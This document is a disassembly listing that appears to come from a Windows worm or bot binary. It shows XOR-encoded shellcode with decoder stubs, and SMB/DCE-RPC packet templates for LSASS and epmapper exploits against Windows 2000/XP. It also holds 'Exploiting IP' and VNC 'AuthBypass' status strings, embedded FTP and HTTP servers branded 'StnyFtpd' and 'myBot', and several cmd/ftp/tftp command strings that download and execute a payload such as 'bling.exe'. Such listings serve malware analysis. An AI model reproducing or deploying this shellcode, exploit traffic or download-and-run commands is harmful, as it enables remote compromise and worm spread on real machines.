loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
